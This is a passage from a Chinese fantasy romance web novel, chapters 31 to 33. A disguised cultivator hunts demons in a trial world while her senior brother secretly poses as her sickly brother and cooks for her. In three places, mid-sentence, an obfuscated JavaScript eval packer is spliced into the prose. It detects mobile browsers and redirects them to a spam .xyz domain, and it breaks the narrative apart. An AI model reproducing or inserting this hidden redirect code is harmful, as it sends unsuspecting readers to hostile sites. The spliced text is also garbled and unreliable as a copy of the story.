可惜若是太过亲近,或许就会察觉到她的不对劲了…… 纪楚感到压力山大,咬着嘴唇眼神朝后朝下移,一边思考着在身份暴露前把杨念之打晕的可能性。 如果他来不及怀疑自己,又一直病着昏迷不醒,应当就不算暴露了……吧? 孟喻辞将她的小动作尽收眼底。 不止纪楚不想暴露身份,他同样也需要杨念之的身份伪装。 于是他收敛了自己的气息,以杨念之的语气说道: “无妨,你本就做不惯这些。” 他一开口,声音轻柔,带着久病初醒的虚弱,瞬间冲散了先前那股压迫感。 纪楚抬头,看向杨念之。 他已经再度恢复了“温柔病弱哥哥”的形象,让纪楚怀疑方才那一瞬间的压迫感是错觉。 “……思思。” 孟喻辞不大熟练地叫她的“新名字”: “我听见你方才说,挑夫君?” 31. 第 31 章 纪楚这才想起来自己手上还拿着两摞“选妃册子”。 “是隔壁的何婶,她说让我选个喜欢的……” 一只骨节分明的手伸到她面前。 “杨念之”垂着眸,几缕发丝遮住他略显苍白的侧脸,声音平淡态度自然: “给我。” 纪楚愣了一下,意识到杨念之是家里的长辈,妹妹的婚配确实需得经他同意。 于是将两手拿着的册子捋平捋展叠在一起,放到他伸出的手上。 孟喻辞随意翻了几张,便将这一摞纸朝桌上一扔,用没什么情绪的语调对她说: “都回绝了。” 纪楚目光跟着他的动作落到桌上散开的册子,点点头,心不在焉地应了一声: “哦……” 孟喻辞看她一眼,见她仍盯着那些纸发呆,一副怅然若失的模样,不由得端详她几眼,语气颇有些莫测: “怎么?这里头,有你舍不得的?” 他这话问得有些诡异,分明是哥哥操心妹妹的婚事,却愣是叫纪楚从中品出几分熟悉的寒意来。 有点像师兄和她对练时的感觉。 她来不及思考,脱口而出: “当然没有!” 寒气稍缓。 纪楚一脸后怕地左右看了看,再三确认这屋子里只有自己和“本地人”杨念之两个,绝不可能有什么剑修啊、师兄啊、桃枝什么的东西,这才松了口气。 难道是师兄对她的影响太过深刻,以至于人不在精神却在,余威长存? 孟喻辞看她这副警惕的模样,心里觉得好笑,淡声道: “我看你发呆,还以为你有喜欢的。” 说罢,他又维持着“杨念之”的模样,温和出声: “你兄长我并非古板之人,若是你真有喜欢的,直说就是,我也可替你掌掌眼。” “不不不……” 纪楚头摇似拨浪鼓,坚定道: “我无心婚嫁,更不会喜欢别人,我只想永远和阿兄在一起。” 她一边表忠心,一边在心里念叨: 那两摞纸翻了好几遍也看不出名堂,想必和任务毫无关系,有杨念之在前面拦着,也就不用编借口应付何婶了,是好事! 于是她目光更加坚定。 她这话说的斩钉截铁,又用着“阿兄”这样极其亲昵的称呼,纵使知道是在扮演“相依为命”的“亲兄妹”,孟喻辞还是不由得长睫轻颤。 他抬眸,纪楚正双眸炯炯地盯着他,还十分刻意地眨了眨眼睛,以使自己显得情感真挚,满脸写着“你看我多真诚”的表情。 ……师妹是个说谎话不眨眼的骗子,不过这戏演的可真不怎么样。 孟喻辞轻叹。 他掀开被子作势起身,纪楚没忘记这是个“久病难愈”、“身娇体弱”的病美男,三步并做一步跳到他床边,伸手想要搀扶他: “阿兄,你要下床吗?我扶你吧!” 孟喻辞:“……” 扮演“杨念之”的第一关:不要被纪楚发现。 他调整步伐,尽量轻而无力。 一双软而温热的手轻轻托着他小臂,纪楚一脸“守护易碎品”的表情: “阿兄,小心别摔了。” 孟喻辞沉默着,在纪楚的搀扶下走到衣柜旁。 纪楚恍然大悟,转身就想帮“杨念之”脱衣服: “原来阿兄要换衣服啊,那我来帮你……吧——啊?” 她话没说完,“杨念之”二话不说按着她的脖子把人推了出去。 木门在她面前毫不犹豫地关上。 纪楚一脸委屈。 她自认已十分努力,却还是不知道自己这个“贴心好妹妹”哪里演的不够完美,惹了“本地人兄长”不快。 虽然“杨念之”的力气大得有点让她震惊,她身为一个修士,竟然毫无抵抗之力地被推了出去。 不过好在,“杨念之”苏醒至今并未质疑她的身份,这一关应当是过了。 纪楚便没有多想。 天色渐暗,一缕凉风顺着衣领钻进了衣服。 纪楚打了个哆嗦,忽然觉得有点冷。 分明白日里还艳阳高照,太阳才刚一落山,竟然这么快就降温了。 她转过身,背对着门,在院子里漫无目的地踱了几步,等杨念之换衣服。 忽然,隔壁传来一声尖叫,伴随着重物被砸到墙上的声音。 等了一整个白天的玉书牌终于出现了变化,随着夜幕降临,一行墨色字迹缓缓浮现: “妖族盗宝,为祸世间。除妖计分。” 原来任务是除妖。 在这行字下面,还有一行红色小字,像是从玉书牌中长出来的玉纹: “纪楚:人族。得分:零。” 看到这行字的一瞬间,她心里生出几分难言的古怪。 但一时间又想不明白哪里不对劲,只得先将玉书牌收起来,飞身上墙跳到了隔壁。 * 隔壁是何婶一家。 院中无人,主卧黑着灯,只厨房的方向有微弱的火光,像是灶台点着火,丝丝缕缕的烟雾从门缝中飘出来,带着极其鲜香的鸡汤味道。 白天倒是听何婶提过她晚上要熬鸡汤。 若是里面的人是何婶…… 纪楚察觉到门后的妖气,心生担忧。 她从墙角顺了把砍柴刀,缓缓靠近那扇门。 里面悉悉索索的动静在她靠近门扉的同时安静下来。 妖气极淡,其中夹杂着一股昭示着不详的血腥气。 难道她还是晚了一步? 纪楚心里一急,重重撞开虚掩的门,柴刀挥出剑势,朝着灶台旁的那团阴影劈下—— 一个梳着双丫髻的小女孩抬头,迎面对上刀刃。 竟是何婶的小女儿,妞妞。 纪楚一惊,猛得转变方向,柴刀劈到了一旁的灶台上,将泥筑的灶台砸出了一条裂缝。 妞妞神情冷漠,甚至带着几分不该出现在孩童脸上的阴沉。 她手里提着一只没能化形的狐妖,脖子被扭成可怖的角度,看起来已经没气了。 方才纪楚感知到的妖气便是来自于此。 一个五岁的人族女孩,竟徒手杀死了一只妖! 铁锅里的鸡汤发出“咕嘟嘟”的声音,更浓的香气逸散开来,昏暗的暖光中,除却妞妞手里那只断了脖子的狐妖,一切都显得温馨而平静。 纪楚却丝毫没有感觉放松。 眼前所见处处都透着古怪。 这样一大锅鸡汤放在火上,主卧却黑着灯,方才那么大的一声尖叫,何婶和其他人当真没有听见吗? 妞妞又为什么会一个人出现在这里?真的是她杀了狐妖吗? 随着纪楚心里疑问的不断增加,妞妞的目光终于落到了她脸上。 “偷鸡贼?” 童音清脆,却平白叫人心底发怵。 平静了一整个白天的小世界终于这一刻显出隐藏在深处的阴森和诡异。 纪楚握紧了手里的柴刀,装作一无所知的模样: “我没有想要偷鸡,妞妞,你不记得我了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149351|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是住在隔壁的杨思思。” 妞妞看着她,似乎在分辨她话里的真假。 忽然,柴火发出“噼啪”声响,灶台中的火猛地向上一蹿,仿佛一个动手的号角。 面前那身高不过才到纪楚腰间的小女孩竟一跃而起,双手成爪状,朝着纪楚的脖子抓来,十指尖端还带着狐妖的血。 纪楚急忙后退。 她尚且不知发生了什么,但白天时妞妞还是个只敢躲在门后吃糖的小姑娘,现在纵使露出凶相,她依然无法毫无阻碍地动手,只能被迫退出狭小的厨房。 妞妞紧追而出,立于厨房门口,孩童的双眼在明暗交错的瞬间透出几分阴郁的灰暗。 不像是人,反倒似鬼似魔。 谁也没有动。 两人僵持间,另一边的院墙忽然又翻过来一个人,噗通一声砸在鸡笼上。 睡着的鸡顿时跳了起来,又纷纷从破洞的笼子里逃窜而出,霎时间鸡鸣不止,鸡毛满天,将院子里诡异的气氛冲散殆尽。 一个书生打扮的少年从散架的鸡笼中央抬起头。 纪楚心道不妙,身形一转挡在他身前,同时翻转刀身,以刀柄与妞妞的攻击相撞,稳稳挡下了妞妞的一击。 身后那书生叹了一句: “靠,小孩也这么猛?” 这语气太过熟悉。 纪楚手上用力,将妞妞甩出去,狐疑回头,对上一张全然陌生的脸。 书生见她模样,顿时眼睛一亮,也顾不得自己此刻的狼狈模样,拨了下掉到脸前的发带,清了清嗓子,趴在鸡笼上冲她一拱手: “姑娘好刀法,人美刀也美,不知姑娘姓甚名谁,怎么称呼?” 纪楚:“……” 她无语道:“这位姐姐,其实我用的剑法。” 书生打扮的许盈:“……!” 她顿时认出了纪楚,急忙捂住嘴防止自己喊出对方身份,惊呼声从指缝溜出来: “天啊!我们竟然被分到同一个小世界了!” 既然是熟人,许盈也不必再假装什么“手无缚鸡之力”的书生了。 她三两下从鸡笼上爬起来,和纪楚合作将妞妞用麻绳捆了放到一边,然后拍拍手说: “真是服了,给我安排个男身也就罢了,竟然还是个瘦弱鸡仔!为了演好书生,姑奶奶我翻墙都得先放个凳子……” 说着,她又看了一眼纪楚,仗着身高优势,摸了一把她的脸: “原来从这个角度看你,这么可爱啊!” 纪楚无奈:“这是杨思思的脸。” “就是这个表情!” 许盈又将两只手都放在她脸上,摸了又摸,这才心满意足道: “熟悉的人一看就知道是你啦,和摸你的脸完全没有区别嘛!” 说着她又用细长胳膊将纪楚抱了抱,发出幸福的喟叹: “这个男身还是有点好处的,起码个高,看你现在矮矮的小小的,抱着真舒服啊……” 纪楚也觉得新奇,伸手回抱住许盈,在她削瘦的腰上摸了又摸,感受了一下这个既熟悉又陌生的拥抱,评价道: “确实挺特别的,就是有点硬……” “砰——” 院子大门忽然被人从外面推开,抱成一团的纪楚和许盈齐齐扭头,对上了“杨念之”面无表情的冷脸。 月光洒在“杨念之”脸上,让这张俊美温柔的脸显出几分诡异的寒意。 黑眸冷而无情,盯着纪楚放在“书生”许盈腰上的手。 半晌,平静开口: “你们在做什么?” 32. 第 32 章 “你们在做什么?” 普普通通一句话,听得纪楚和许盈两人虎躯一震,莫名生出一股被寒冰冷刃顶在后背上的威胁感来。 两人这才意识到,她们现在的造型是“一对陌生男女”,旁若无人地抱在一起互相摸来摸去,确实太过奇怪。 尤其是被“杨思思”的哥哥抓了现行。 还是赶紧分开的好。 许盈和纪楚赶紧收回手。 纪楚后退一步,刚一抬头,头皮忽然传来一阵钝痛。 ——她的头发在拥抱中不小心缠上了许盈领口衣襟。 许盈:“……” 好戏剧啊! 许盈:“……” 好倒霉啊! 她急忙伸手拽了拽,没成功。 许盈也加入进来帮忙,结果两人一番努力,纪楚的头发越缠越死。 孟喻辞全程就站在原地,看着两人七手八脚地一通折腾。 最后纪楚还是放弃了,她顶着扯乱的头发,保持着歪着头的造型,故作镇定地介绍: “阿兄,这是我的失散多年的好姐妹,纯洁的姐妹情。” “是吗?” “杨念之”语调冷淡。 “没错的没错的。” 由于纪楚的头发还挂在她身上,许盈只得歪着头看向孟喻辞,一脸骄傲道: “纪……杨家兄长,你别看我是个男的,其实我压根就不是个男的!” 中气十足,意味深长。 虽然知道许盈是什么意思,但纪楚的目光还是控制不住朝下移。 孟喻辞忍无可忍: “杨思思!” 纪楚虎躯一震,将自己的眼珠子从不该看的地方又挪了回去。 许盈见状,悄悄用眼神示意纪楚: 你兄长肯定是误会了,毕竟我现在是个连城中首富都倾心的“小白脸”,他有危机感很正常。 纪楚读懂了她的眼神,一脸凝重。 她总不能继续挂在许盈身上,加上院子里的情况实在不好叫人发现。 于是她抓住许盈的衣服,两人连体婴一样笨拙地挪到门口。 然后纪楚指着自己的头发,一脸可怜地望着孟喻辞: “阿兄,帮帮我吧……” 孟喻辞视线从她被缠住的头发移到了她脸上的痕迹。 指痕明显,两侧脸颊都有,一看便是男人的指印。 他的目光再度落到了许盈身上。 许盈下意识将两手放在衣服上擦了擦。 她不知道自己为什么这么紧张,简直像是第一次上门的“丑女婿”。 按理来说“杨念之”一个普通凡人,看着又文文弱弱的,她不该这么害怕才对。 许盈思索一番,只能归结于或许这就是“一家之长”的威严,于是冲“杨念之”讨好地笑。 孟喻辞收回视线,目光落在纪楚头发上。 纪楚惯会给他出难题,这才一会儿功夫,头发就乱的像是鸟窝。 硬拽不行,直接剪了又不合适。 他谨慎地观察一番后,伸出手,顺着纪楚的头发理了理,顺利找到缠在一起的一团。 纪楚一边睁着眼睛看他,一边给许盈努嘴,让她挡住院子里的混乱景象。 许盈于是悄悄挪动步子,纪楚也歪着头跟着她转。 孟喻辞几次被她的动作打断思路,只得伸出一只手按住纪楚肩膀: “别乱动。” 纪楚和许盈立时安静下来。 孟喻辞解开她的头发颇废了一番功夫。既避免拽疼她,又要防着她乱动缠地更紧,好不容易才把俩人拆开。 谁知刚一解开,纪楚就一个猛子冲上来,抱着他的胳膊将他朝院外推。 她早就等的心急如焚了。 院子里有一个被捆着的妞妞,厨房门口还扔着一个狐妖尸体,若是被杨念之看见了,这麻烦可就大了! 但她不知道,孟喻辞早就看见了院子里的情况。 甚至为了不打扰她,他还专程等这里安静了才过来。 谁曾想,竟能撞见两人“拉拉扯扯”的一幕呢? 面对着纪楚把“欲盖弥彰”写在脸上的拙劣演技,孟喻辞拿出平生最高表演水平,装作一无所知又柔弱无力的样子,由着她把自己朝外推。 直到许盈将大门合上,两人这才半推半就地停下。 纪楚松了口气,收回手站定。 孟喻辞道: “把脸擦干净。” 纪楚:“啊?” 她茫然地用手背蹭了蹭自己的脸,反倒将污痕蹭得到处都是。 “算了。” 孟喻辞的视线在她脸上巡视一圈,最后还是忍不住抬手,用袖子擦了擦她的脸。 左抹一下右抹一下,动作很是干脆利落,毫无温柔缱绻之意,简直像是在擦窗户。 见她脸上干净了,这才摆出“兄长”的姿态,开口问道: “我才换个衣服的功夫,你怎么就翻墙跑了?” 纪楚:“嗯……” 她左右看了看,灵机一动,捂着自己的肚子撒娇: “阿兄,实在是隔壁的鸡汤太香了,我饿了一天,这才忍不住过来瞧瞧的。” 孟喻辞看着她: “你饿了?” 纪楚忙不迭点头。 这个借口真是太好用了,既能解释自己的行为,还能把杨念之的注意力引走,简直一石二鸟! 于是她又说了句: “好饿好饿,阿兄,我想吃好吃的!” 孟喻辞没有拒绝,而是思忖着: 杨思思不会做饭,杨念之一病倒,她就只能拿厨房的冷饼充饥,啃了两口就觉得又干又噎,不想再吃,确实也算饿了一天。 他复又扫她一眼,见她仰着脸,神色讨好,双眸明亮,两簇眉毛漂亮地皱着,拧成一个夸张而刻意的角度,几乎可以想象到纪楚本人此刻挤眉弄眼装可怜的神态。 她又给他出了道难题。 到这个小世界才不过半天功夫,纪楚已经给他出了好几道“伪装考验”,犹如还在宗门时,每天都有新的意外。 而他竟然也在和纪楚的相处中,生出了一种“关关难过关关过”的坚强意志来。 做饭而已,应该不难。 他自信点头,转身回了隔壁。 纪楚面露喜色。 她就知道杨念之肯定不会看着杨思思饿肚子的! 随后她冲门缝中偷看的许盈比了个手势,让她留在何婶院子里继续观察,自己则跟着杨念之回去。 * 孟喻辞当然不会做饭。 作为一个剑修,他倒是有把握将食材切得分毫不差,可至于如何烹煮、如何调味,则根本一窍不通。 但纪楚浑然不知“杨念之”已经换了个“芯子”,还当他是那个独自扶养妹妹长大的“好厨子”,眼巴巴跟着他凑到了厨房门口。 “阿兄,你要做什么好吃的啊?” 孟喻辞故作镇定,拿起菜刀掂了掂,觉得和剑也没什么区别: “你想吃什么?” 杨念之本人身形瘦高,带着几分读书人的清雅温润,因着常年照顾妹妹的缘故,身上总有种温和贤惠的气质。 但孟喻辞性情冷淡,气质疏寒,纵使套了“杨念之”的壳子,站在逼仄的厨房中,依然像是立于悬崖顶端迎风傲立的高岭之花。 拿着菜刀,宛如手持利刃,随时可以破风而去。 他这副自信傲然的姿态看得纪楚激情澎湃,直觉自己今日定是有口福了,想也不想脱口而出: “红烧排骨!” 切肉削骨,他倒算擅长。 可惜…… 孟喻辞扫视一圈厨房:“没有排骨。” 纪楚失望,左看右看,只在一堆冷饼青菜中间看见了唯一不绿的豆腐。 联想到杨思思卖花赚钱不易,还得给杨念之买药,她就也不好意思提出自己去买点肉了。 于是妥协道:“那红烧豆腐吧。” 孟喻辞颔首,手起刀落,光影缭绕后,豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157651|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腐被切成整整齐齐的小块。 刀口平整,几乎看不到切痕。 如果豆腐有意识的话,应当是还没反应过来,就已经被大卸八块了…… 纪楚脑海中莫名浮现出这个念头。 看了杨念之的刀功,那叫一个干脆利落十拿九稳,丝毫不比宗门大厨逊色。 她更期待最后的美食了! 趁“杨念之”专心做饭,纪楚回头出了厨房,攀上院墙,又翻到了隔壁。 许盈正拿着两块木头端详。 见着纪楚,她一手一块木头挡在自己的眼睛前,故作高深: “思思,你兄长把门栓砸坏了。” “怎么可能?” 纪楚完全不信: “我哥是个病弱美男!肯定是何婶家的门栓质量太差,随便一推就坏了。” 说完她绕开许盈,进了何婶家的厨房。 许盈原本也只是无聊乱转才看见的,此刻见纪楚浑然不在意的样子,也急忙放下断成两截的门栓,跟着她去了厨房旁边。 “我刚刚查看了一遍,这里没别的痕迹,应该是鸡汤引来了狐妖,很快就被那小孩掐死了。” 许盈说完又推了推昏睡不醒的妞妞: “她从刚刚就没反应了……还活着,但是气息不太像人。” “那其他人呢?” 纪楚问。 许盈脸色有点不好: “敲门也没反应……说起这个,我一路翻墙过来,连一个活人都没看见。” “你还不知道吧?” 她叹气:“其实我是逃命来的。” 纪楚惊讶,许盈继续说: “白天的时候,玉书牌完全没有反应,我就在周边转了转,什么也没发现。徬晚有两人来敲门。” “我刚一打开门,天就黑了,那两个人在我面前气息大变,一下子凶神恶煞目露凶光,出手就要我性命。他们的状态不像人,但也不是妖……和那个小孩一样!” 许盈回想起当时“大变活人”的场景,仍觉汗毛倒立: “我搞不清楚状况,又不能贸然动手杀人,只好一路逃窜。” “我也差不多!” 纪楚闻言睁大了眼睛: “白天也是一切正常,晚上的时候才听见这边有动静,翻墙过来,竟然看见妞妞一个小孩子,动手掐死了一只狐妖……” 她拿出玉书牌: “我的任务是除妖得分,你的呢?” 许盈也拿出自己的玉书牌,除却名字不同,其他的都一样。 两人齐齐苦恼起来: “好容易见着只妖,却已经被杀了。反倒是这些奇奇怪怪的人,不知道是个什么情况。” 正愁眉苦脸时,隔壁传来一道凉凉的声音: “杨思思。” 纪楚眼睛一亮,抓着许盈的袖子上下抖了抖,激动道: “我要有好吃的了!” 说罢不等许盈回答,迅速沿着原路翻了回去。 孟喻辞神色淡淡,见她从隔壁翻回来也没说什么,只将刚出锅的“红烧豆腐”放在桌子中央,示意她过来坐下。 盘子里的豆腐摆放如同垒墙一般横平竖直,虽然颜色似乎比平时的红烧豆腐浅了些,但胜在大小均衡,色泽莹润,翻炒后丝毫不见松散破损,可见刀功精绝,细致入微。 清新的豆香传来,混着淡淡的辛辣。 纪楚忍不住咽了口口水,拿起筷子夹了一块塞进嘴里。 孟喻辞微微侧头,观察她的表情。 下一秒,便见纪楚睁大了眼睛,双目漫上水雾,脸上同时出现了“震惊”、“意外”、“震撼”、“僵硬”、“呆滞”种种表情。 孟喻辞回忆了一番纪楚吃盘盘果时的神情,似乎略有不同。 他还没来得及从纪楚丰富的表情中分析出自己第一次做饭的成功与否,就见坐在桌边的人“蹭”得一下跳了起来,冲进厨房,遍寻一圈不见水喝,于是转身将那足以噎死人的冷饼疯狂往嘴里塞,活像八辈子没吃过饭。 33. 第 33 章 辣,太辣了,简直要把她活活辣死。 纪楚一边往嘴里塞饼,一边感觉自己的舌头好似被拔下来扔进了太上老君的炼丹炉,一半已经没了知觉,另一半还能感受到三味真火焚烧之痛。 她痛苦地擦了擦自己被辣出来的眼泪,侧眼一看,“杨念之”端着那盘足以辣死人的豆腐跟了过来。 纪楚顿时虎躯一震,连续后退好几步,和他保持距离,一边用怀疑的目光审视着他,不明白在“杨念之”这种厨艺的祸害下,杨思思究竟是怎么长大的? 孟喻辞的视线落到她被辣出细汗的额头和发红的眼眶上,将她的怀疑和警惕尽收眼底。 他蹙眉,没想到自己竟会犯下如此大的失误。 优秀了一辈子的孟喻辞不允许自己的人生存在这样明显的疏漏。 于是他对纪楚说: “方才是我失手,你出去等。” 说罢,他转身又拿起了菜刀,神情严肃,目光锐利,看向灶台时甚至有些杀气凌凌。 纪楚又辣又噎,说不出话,捏着饼子委屈地出了门。 很快,孟喻辞又端出来了新的一盘豆腐。 纪楚警惕地看了看,做了半天心理建设,这才夹起一块豆腐小心翼翼地咬了一口,还不敢像以前那个囫囵咽下去,只敢放在嘴里细细地嚼。 站在她对面的孟喻辞:“如何?” 纪楚:“嗯……不辣了,但是有点酸……” 面前的盘子被人抽走,“杨念之”扔下一句“等着”,再度进了厨房。 纪楚:“……” 第三盘有点甜,还有点糊。 第四盘味道已经正常很多,并且这已经是家里仅剩的最后一块豆腐了。 纪楚品得很是谨慎。 “杨念之”站在她面前“虎视眈眈”,漆黑双目一眨不眨地盯着她把豆腐送进嘴里,大有一副“这盘也不行就立马出门再买几斤豆腐”的架势。 纪楚:“……挺好的,人间美味。” 孟喻辞嗤笑一声,说不清是在嘲笑她谎话说的太假,还是在嘲笑自己头一次出现这种接二连三再三再四都做不好的事。 他俯身伸手,准备将纪楚面前的盘子拿走。 手却被人按住了。 就在刚刚,纪楚看着盘子里的饭菜,忽然萌生出一种自己在欺负人的错觉。 其实,“红烧豆腐”是什么味道根本不重要,重要的是,杨念之是杨思思唯一的亲人。 无论是作为杨思思,还是作为顶替了杨思思身份的纪楚本人,她都不该仗着自己是外来的修士、仗着杨念之对自己这个躯壳的耐心和关心,大半夜折腾人。 她原本只是想找个借口将人忽悠走,却反而害得杨念之一晚上没能休息……他还是个病人呢! 自己真是太该死了! 况且,折腾了大半夜,现在的她已经不想再吃到任何口味诡异的豆腐了! 于是纪楚抬头,望着他的眼睛强调: “真的特别特别特别好吃!阿兄,你信我!” 孟喻辞目光与纪楚对上,隔着两张陌生的容颜,却忍不住想起在拂宇仙宗的时候。 她练剑练得累了,坐在他腿边的地上耍赖不肯起来,仰着脸同他打商量: “我真的特别特别特别累了,师兄,我明天肯定好好练,你信我!” 孟喻辞恍惚了一瞬,被她按住的手指微微一动,下意识想要把手抽走。 纪楚以为他还是坚持要回去重做,急忙用力按住他的五指,一边迫不及待地向他演示“特别好吃”。 她一手按着他的手不松,另一手拿着筷子朝自己嘴里扒豆腐,管他咸的甜的没味的,一股脑往嘴里塞,吃的脸颊鼓鼓,还不忘冲他坚定地点头,满脸写着: “你看我吃得这么香,所以是真的好吃!” 这回孟喻辞没有再试图拽出自己的手,任由她按着自己的五指,将他的手连同盘子一起捧着,狼吞虎咽般表演“好吃”。 因着俯身的姿势,他离她很近,轻易便能看到她吃到一块极其咸的,眉头一皱,很快用低头扒饭做掩饰,又朝嘴里塞了更多,还要悄悄观察他有没有发现。 ——她在哄他开心。 他本该在心里哂笑一声:失败即是无能,自己何时竟成了失败后承担不起,反而需要小孩子来哄他的人? 但此刻看着纪楚的模样,他却沉默了。 或许他于做饭一途委实没什么天赋。 孟喻辞不由得心想。 但纪楚却一口气把整盘菜吃得干干净净。 然后睁着圆溜溜的眼睛看他: “真的特别好吃,我都吃光了,阿兄,你就是全世界最好的厨子!” 孟喻辞忍不住轻笑。 这样直白的、近乎笨拙地表达善意的方式,由纪楚做出来,总是显得格外傻气可爱,让他很难再继续维持冷淡的神态。 于是他垂眸,目光温和下来,忍不住放缓了语调,低声保证: “明日,明日定会好吃。” * 天蒙蒙亮的时候,隔壁忽然传来的敲门声惊醒了纪楚的梦。 她这才发现自己昨晚担心有危险主动守夜,结果一不留神,竟然靠在墙边睡着了。 身上盖着一件衣裳,院子里不见杨念之的身影。 梦里那个上蹿下跳、说她是特殊之人、告诫她一定要赢下比试的猴子终于安静下来。 纪楚怀疑是自己执念太重,加上之前在藏书阁看的书的影响,所以才反映到了梦里。 但是也很奇怪,总觉得那猴子的语气有点耳熟,似乎在什么地方听过。 她想不起来,但“一定要赢下比试”几个字就跟咒语一样,成功刻在了她脑子里。 纪楚看向周围。 后半夜安安静静,什么也没有发生。 许盈趴在墙头睡觉,齐文轩瘦长的身材被她像麻袋一样挂在墙上,腿留在何婶院子里,两臂垂在纪楚头顶,晃来晃去,同样睡得灰昏天黑地。 听见敲门声,她茫然地睁开眼。 扭头朝后看,借着攀在墙上居高临下的角度,许盈一眼就看见门外站着几个家丁打扮的人。 瞌睡虫顿时消失,她连忙两腿扑腾,蹬着墙试图将自己挪到纪楚这边。 大门被暴力推开的一瞬间,许盈一脚踩空,整个人头朝下直直冲着纪楚摔了下来。 纪楚:“!” 她刚睡醒,脑子还没有归位,就眼睁睁看着一大坨黑影从天而降。 一声沉闷的撞击声后,两人齐齐以扑街的姿态瘫在墙边地上。 纪楚觉得自己头晕眼花,好像失去了所有力气。 她平躺在地上,半睁着眼睛看天边的云扭曲变形长出银色星星,心想着要不直接再睡一觉吧,说不定她今天就被这一砸直接淘汰了…… 旁边的许盈却大力摇晃她的肩膀,压着嗓音冲她喊: “你清醒一点!就是他们!昨天追杀我的人!!!” 隔壁安静了一夜的院子热闹起来,先是何婶夫妻两个匆忙从主屋出来,看见一片狼藉的院子后呼天喊地。 再是妞妞从厨房揉着眼睛出来,何婶诧异“昨夜怎么睡的这样沉”,以及“这孩子怎么又梦游”。 似乎对昨晚发生的种种事件毫不知情。 最后是领头的那个家丁的声音: “齐文轩偷盗赵府传家宝,昨夜有人看见他翻进了你们院子!老实交代,你们是不是一伙的!” 纪楚看向许盈,她就立马举起双手,疯狂摇头表明自己不知情。 “冤枉啊!我们小门小户,哪里敢偷赵府的东西!” 隔壁何婶的喊声变得更大: “我说鸡怎么都跑了,原来是昨夜遭了贼!原来是这个杀千刀的吃软饭的贼啊!定是这小贼犯了贼瘾,一偷偷一串啊!天杀的偷鸡贼!谁来为我们做主啊!” 妞妞也哭了起来:“鸡没了!鸡没了!” 何婶和妞妞抱头呼号,院子顿时吵闹非常。 一片混乱中,许盈和纪楚悄悄将脑袋从院墙上缩了回去。 “这些人白天和晚上根本两个样子,肯定有问题。” 许盈说:“要不我现在出去,看看他们到底想做什么?” 纪楚摇头: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163989|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行,我们昨天早上才来,很多事情还不清楚,万一他们白天也会动手杀人呢?” 许盈:“这倒是,问仙大会多少年才办一次,奖品可是圣品应元丹啊……整整三颗,一百五十年的修为——我可不能刚进来就淘汰!” 虽然失去了一个拜见神骨的机会,但却可以得到难得的“圣品灵丹”,纪楚一边失落一边斗志昂扬: “说得对!我也不能被淘汰!” 两人互相打了一番鸡血,隔壁的闹剧已经安静下来。 那几个家丁朝着杨家的院子走来,看来是打算一家家问“齐文轩”的下落。 许盈做口型:“怎么办?” 纪楚想了想说: “起码要先搞清楚:齐文轩有没有偷赵府传家宝。” 两人赶在敲门声响起之前翻墙出了院子。 * 齐文轩是个家道落魄的书生,身无分文,家里只一个破旧的老房子,院墙破损,屋子里一眼就能望到头,甚至可以用“家徒四壁”来形容。 唯独书画堆积了不少,纪楚和许盈两个人翻找了一圈,也不曾看见什么“宝贝”。 但赵府的人信誓旦旦,她俩过来时,还看见一些官差打扮的人在齐文轩家门口巡逻,大有一副见到人就当场拿下的架势。 两人连面都不敢露,再次翻墙进来。 这样下去,许盈根本没机会捉妖,一露面就会被抓。 事关问仙大会的排名,和价值一百五十年修为的“圣品灵丹”,许盈一刻也停不下来。 她展开一卷画轴,俨然已经把齐文轩当成了盗宝贼本人,提出猜想: “或许是他藏在了别的地方,这些字画就是藏宝暗语。快快,我们快翻翻他这些诗!” 纪楚:“……我不想读诗。” 最终她还是拆开一卷字画,开始仔细地读旁边的题诗,没一会儿就开始犯困打哈欠。 许盈同样看得头大。 看个话本子她还能提起精神,看这些云里雾里的诗句,简直要了她的命! 两人背靠着背坐在一地字画中间,面有菜色,目光呆滞,眼皮沉重。 忽然,纪楚“呀”了一声,举着一幅画站了起来。 摸鱼打哈欠的许盈失去了靠背,猛地朝后一倒,瞌睡虫跑了大半。 “怎么了怎么了?发现传家宝了吗?” “没有。” 许盈失望的同时,听见纪楚说: “但是我看见了一个熟人。” 她转身,将画卷展示给躺在地上的许盈,指着上面的人说: “薛晨,赵府表公子。” 之所以对他印象深刻,还是因为何婶给的两本相亲册子里,每个人的画像和描述都差不多。 但只有这个叫“薛晨”的人,高清画像,赞美堆积,在一众平平无奇的人中脱颖而出,就差把“选他”两个字写在脑门上。 